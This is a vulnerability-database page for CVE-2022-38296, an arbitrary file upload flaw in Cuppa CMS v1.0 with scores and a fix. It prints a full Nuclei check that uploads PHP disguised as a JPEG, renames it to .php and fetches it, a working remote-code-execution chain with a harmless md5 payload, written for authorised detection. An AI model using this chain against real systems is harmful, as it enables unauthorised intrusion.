HexBrain

Browse / CVEs / CVE-2022-38296

CVE-2022-38296· cuppacms / cuppacms· CWE-434

Cuppa CMS v1.0 - Arbitrary File Upload

criticalseverity
9.8CVSS score
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.

Impact

Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.

Fix

Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.

How to confirm it

Send: POST /js/jquery_file_upload/server/php/ ; POST /js/filemanager/api/index.php ; GET /media/{{randstr}}.php
Positive when: contains in body_3 "ed6bf8b1b4b8e64836455fe32b958c2c" AND contains in header_3 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-38296 -u <target>

The full check
id: CVE-2022-38296

info:
  name: Cuppa CMS v1.0 - Arbitrary File Upload
  author: theamanrawat
  severity: critical
  description: |
    Cuppa CMS v1.0 was discovered to contain an arbitrary file upload vulnerability via the File Manager.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution and compromise of the affected system.
  remediation: |
    Apply the latest patch or upgrade to a newer version of Cuppa CMS to mitigate this vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38296
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-38296
    cwe-id: CWE-434
    epss-score: 0.04763
    epss-percentile: 0.91972
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: cuppacms
    product: cuppacms
  tags: cve,cve2022,rce,cuppa,intrusive,cuppacms,vuln,vkev

http:
  - raw:
      - |
        POST /js/jquery_file_upload/server/php/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI

        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="path"

        /
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="unique_name"

        true
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_width"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="resize_height"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="crop"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="compress"


        ------WebKitFormBoundary9MZjlIG8fVPjrlCI
        Content-Disposition: form-data; name="files[]"; filename="test-{{randstr}}.jpg"
        Content-Type: image/jpeg

        <?php

        echo md5("CVE-2022-38296");

        ?>
        ------WebKitFormBoundary9MZjlIG8fVPjrlCI--
      - |
        POST /js/filemanager/api/index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"from":"//{{filename}}","to":"//{{randstr}}.php","action":"rename"}
      - |
        GET /media/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - ed6bf8b1b4b8e64836455fe32b958c2c
        condition: and

      - type: word
        part: header_3
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - '"name":"(.*?)",'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from